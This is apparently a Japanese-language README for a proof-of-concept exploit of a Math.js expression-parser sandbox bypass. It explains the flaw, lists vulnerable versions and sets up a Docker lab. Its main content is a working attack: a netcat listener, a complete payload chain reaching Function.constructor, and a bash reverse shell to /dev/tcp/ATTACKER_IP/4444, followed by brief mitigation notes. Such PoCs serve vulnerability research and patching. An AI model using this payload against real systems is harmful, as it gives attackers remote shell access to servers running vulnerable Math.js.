
CVE-2026-40897の概念実証エクスプロイト。Math.js式パーサーのサンドボックスバイパスにより、細工されたペイロードとDockerラボを介したリモートコード実行を可能にする。
★ CVE-2026-40897 Math.js におけるリモートコード実行のPoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 は、Math.js の式パーサーにおける サンドボックスバイパスによるリモートコード実行 の脆弱性です。
isSafePropertyフィルターはユーザー式からのプロパティアクセスのみをチェックし、内部コードパスからのアクセスはチェックしません。ArrayNodeの内部配列をtoJSON()経由で漏洩させ、その.mapを上書きすることで、攻撃者は内部コードにFunction.constructorへアクセスさせ、任意の JavaScript を実行させることができます。
| カテゴリ | バージョン |
|---|---|
| 脆弱 | Math.js 13.1.1 ≤ version ≤ 15.1.1 |
| 修正済み | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
脆弱な環境を起動した後、以下の手順に従って攻撃を再現します。
nc -lvnp 4444
以下の式を math.evaluate に送信します (例: アプリケーションの計算入力欄を通じて)。
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
ターゲットサーバーが攻撃者のリスナーに接続し、対話型の bash シェルを取得します。
math.evaluate() に直接渡すことを避けるreviver、FunctionAssignmentNode、ArrayNode) の式パーサー経由での露出を制限する